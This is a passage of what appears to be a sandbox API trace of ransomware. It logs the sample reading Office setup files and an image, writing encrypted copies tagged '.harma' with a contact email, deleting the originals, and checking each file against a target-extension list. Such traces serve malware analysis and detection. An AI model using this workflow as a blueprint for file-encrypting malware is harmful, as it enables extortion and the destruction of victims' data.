hFile=0x1a4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0xa40, lpOverlapped=0x0) returned 1 [0041.201] WriteFile (in: hFile=0x18c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0041.202] ReadFile (in: hFile=0x1a4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.202] WriteFile (in: hFile=0x18c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.202] SetEndOfFile (hFile=0x18c) returned 1 [0041.202] CloseHandle (hObject=0x18c) returned 1 [0041.207] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.207] SetEndOfFile (hFile=0x1a4) returned 1 [0041.208] CloseHandle (hObject=0x1a4) returned 1 [0041.208] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.208] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0041.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.208] lstrlenW (lpString=".doc") returned 4 [0041.208] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.208] lstrlenW (lpString=".docx") returned 5 [0041.208] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0041.208] lstrlenW (lpString=".pdf") returned 4 [0041.208] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.208] lstrlenW (lpString=".xls") returned 4 [0041.209] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString=".xlsx") returned 5 [0041.209] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0041.209] lstrlenW (lpString=".ppt") returned 4 [0041.209] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.209] lstrlenW (lpString=".zip") returned 4 [0041.209] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.209] lstrlenW (lpString=".rar") returned 4 [0041.209] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString=".bz2") returned 4 [0041.209] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString=".7z") returned 3 [0041.209] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.209] lstrlenW (lpString=".dbf") returned 4 [0041.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.209] lstrlenW (lpString=".1cd") returned 4 [0041.209] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.209] lstrlenW (lpString=".jpg") returned 4 [0041.209] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.209] lstrlenW (lpString=".doc") returned 4 [0041.209] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString=".docx") returned 5 [0041.209] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0041.209] lstrlenW (lpString=".pdf") returned 4 [0041.209] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.209] lstrlenW (lpString=".xls") returned 4 [0041.210] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.210] lstrlenW (lpString=".xlsx") returned 5 [0041.210] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0041.210] lstrlenW (lpString=".ppt") returned 4 [0041.210] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.210] lstrlenW (lpString=".zip") returned 4 [0041.210] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.210] lstrlenW (lpString=".rar") returned 4 [0041.210] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.210] lstrlenW (lpString=".bz2") returned 4 [0041.210] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.210] lstrlenW (lpString=".7z") returned 3 [0041.210] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.210] lstrlenW (lpString=".dbf") returned 4 [0041.210] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.210] lstrlenW (lpString=".1cd") returned 4 [0041.210] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.210] lstrlenW (lpString=".jpg") returned 4 [0041.210] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.210] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0041.210] lstrlenW (lpString="Setup.xml") returned 9 [0041.539] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.539] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=31094) returned 1 [0041.539] CloseHandle (hObject=0x19c) returned 1 [0041.539] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0041.539] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0041.540] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.540] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.540] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.540] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.540] GetLastError () returned 0x0 [0041.540] ReadFile (in: hFile=0x19c, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x7976, lpOverlapped=0x0) returned 1 [0041.543] WriteFile (in: hFile=0x188, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0041.544] ReadFile (in: hFile=0x19c, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.544] WriteFile (in: hFile=0x188, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.545] SetEndOfFile (hFile=0x188) returned 1 [0041.545] CloseHandle (hObject=0x188) returned 1 [0041.546] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.546] SetEndOfFile (hFile=0x19c) returned 1 [0041.548] CloseHandle (hObject=0x19c) returned 1 [0041.548] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.548] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0041.548] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.548] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.548] lstrlenW (lpString=".doc") returned 4 [0041.548] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.548] lstrlenW (lpString=".docx") returned 5 [0041.548] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0041.548] lstrlenW (lpString=".pdf") returned 4 [0041.549] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.549] lstrlenW (lpString=".xls") returned 4 [0041.549] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.549] lstrlenW (lpString=".xlsx") returned 5 [0041.549] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0041.549] lstrlenW (lpString=".ppt") returned 4 [0041.549] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.549] lstrlenW (lpString=".zip") returned 4 [0041.549] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.549] lstrlenW (lpString=".rar") returned 4 [0041.549] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.549] lstrlenW (lpString=".bz2") returned 4 [0041.549] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.549] lstrlenW (lpString=".7z") returned 3 [0041.549] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.549] lstrlenW (lpString=".dbf") returned 4 [0041.549] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.549] lstrlenW (lpString=".1cd") returned 4 [0041.549] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.549] lstrlenW (lpString=".jpg") returned 4 [0041.549] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.550] lstrlenW (lpString=".doc") returned 4 [0041.550] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.550] lstrlenW (lpString=".docx") returned 5 [0041.550] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0041.550] lstrlenW (lpString=".pdf") returned 4 [0041.550] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.550] lstrlenW (lpString=".xls") returned 4 [0041.550] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.550] lstrlenW (lpString=".xlsx") returned 5 [0041.550] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0041.550] lstrlenW (lpString=".ppt") returned 4 [0041.550] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.550] lstrlenW (lpString=".zip") returned 4 [0041.550] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.550] lstrlenW (lpString=".rar") returned 4 [0041.550] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.550] lstrlenW (lpString=".bz2") returned 4 [0041.550] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.550] lstrlenW (lpString=".7z") returned 3 [0041.550] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.550] lstrlenW (lpString=".dbf") returned 4 [0041.550] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.551] lstrlenW (lpString=".1cd") returned 4 [0041.551] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.551] lstrlenW (lpString=".jpg") returned 4 [0041.551] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.176] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0042.177] lstrlenW (lpString="Setup.xml") returned 9 [0042.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.610] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=20577) returned 1 [0042.610] CloseHandle (hObject=0x1ac) returned 1 [0042.610] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0042.610] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0042.610] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.610] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.611] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.611] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0042.611] GetLastError () returned 0x0 [0042.611] ReadFile (in: hFile=0x1ac, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x5061, lpOverlapped=0x0) returned 1 [0042.623] WriteFile (in: hFile=0x1b4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0042.625] ReadFile (in: hFile=0x1ac, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.625] WriteFile (in: hFile=0x1b4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.625] SetEndOfFile (hFile=0x1b4) returned 1 [0042.625] CloseHandle (hObject=0x1b4) returned 1 [0042.633] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.633] SetEndOfFile (hFile=0x1ac) returned 1 [0042.634] CloseHandle (hObject=0x1ac) returned 1 [0042.634] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0042.634] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0042.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.635] lstrlenW (lpString=".doc") returned 4 [0042.635] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.635] lstrlenW (lpString=".docx") returned 5 [0042.635] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0042.635] lstrlenW (lpString=".pdf") returned 4 [0042.635] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.635] lstrlenW (lpString=".xls") returned 4 [0042.635] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.635] lstrlenW (lpString=".xlsx") returned 5 [0042.635] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0042.635] lstrlenW (lpString=".ppt") returned 4 [0042.635] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.635] lstrlenW (lpString=".zip") returned 4 [0042.635] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.635] lstrlenW (lpString=".rar") returned 4 [0042.635] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.635] lstrlenW (lpString=".bz2") returned 4 [0042.636] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.636] lstrlenW (lpString=".7z") returned 3 [0042.636] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.636] lstrlenW (lpString=".dbf") returned 4 [0042.636] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.636] lstrlenW (lpString=".1cd") returned 4 [0042.636] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.636] lstrlenW (lpString=".jpg") returned 4 [0042.636] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.636] lstrlenW (lpString=".doc") returned 4 [0042.636] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.636] lstrlenW (lpString=".docx") returned 5 [0042.636] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0042.636] lstrlenW (lpString=".pdf") returned 4 [0042.636] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.636] lstrlenW (lpString=".xls") returned 4 [0042.636] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.636] lstrlenW (lpString=".xlsx") returned 5 [0042.636] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0042.637] lstrlenW (lpString=".ppt") returned 4 [0042.637] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.637] lstrlenW (lpString=".zip") returned 4 [0042.637] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.637] lstrlenW (lpString=".rar") returned 4 [0042.637] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.637] lstrlenW (lpString=".bz2") returned 4 [0042.637] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.637] lstrlenW (lpString=".7z") returned 3 [0042.637] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.637] lstrlenW (lpString=".dbf") returned 4 [0042.637] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.637] lstrlenW (lpString=".1cd") returned 4 [0042.637] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.637] lstrlenW (lpString=".jpg") returned 4 [0042.637] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.637] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0042.637] lstrlenW (lpString="MS.PNG") returned 6 [0042.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.000] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1682) returned 1 [0044.000] CloseHandle (hObject=0x1b0) returned 1 [0044.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0044.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0044.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.000] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.000] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0044.001] GetLastError () returned 0x0 [0044.001] ReadFile (in: hFile=0x1b0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | 